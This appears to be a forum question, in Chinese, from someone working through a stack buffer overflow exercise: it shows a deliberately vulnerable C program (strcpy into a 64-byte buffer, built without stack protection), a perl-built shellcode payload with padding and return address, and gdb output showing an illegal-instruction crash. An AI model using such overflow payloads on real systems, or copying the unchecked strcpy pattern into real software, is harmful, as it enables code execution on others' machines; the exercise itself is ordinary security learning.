我已按照此处的示例进行操作。
这是我的示例程序“oldskool.c”:
#include <string.h>
void go(char *data) {
char name[64];
strcpy(name, data);
}
int main (int argc, char **argv) {
go(argv[1]);
}
我已经使用以下方法编译了这个程序:
gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g
我也关闭了 ASLR。
使用 gdb 的 x/gx $rsp,我验证了传入的参数perl -e 'print "A"x80'
将完全覆盖 SIP。这是 p &name 的输出
$1 = (char (*)[64]) 0x7fffffffddc0
然后我拿了示例 shellcode,并添加了填充和 SIP,想出了这个:
./oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xc0\xdd\xff\xff\xff\x7f"'`
但是,当我运行它时,出现“非法指令”错误。以下是 gdb 会告诉我的:
Starting program: /path/to/oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xc0\xdd\xff\xff\xff\x7f"'`
Program received signal SIGILL, Illegal instruction.
0x00007fffffffddc0 in ?? ()
(gdb) x/10i 0x7fffffffddc0
=> 0x7fffffffddc0: (bad)
0x7fffffffddc1: (bad)
0x7fffffffddc2: (bad)
0x7fffffffddc3: incl (%rax)
0x7fffffffddc5: add %al,(%rax)
0x7fffffffddc7: add %ah,-0x1e(%rcx)
0x7fffffffddcd: jg 0x7fffffffddcf
0x7fffffffddcf: add %ch,%bl
0x7fffffffddd1: and 0x31(%rax),%cl
0x7fffffffddd4: rorb $0xff,0x31(%rax)
有没有人知道是什么导致了这个错误?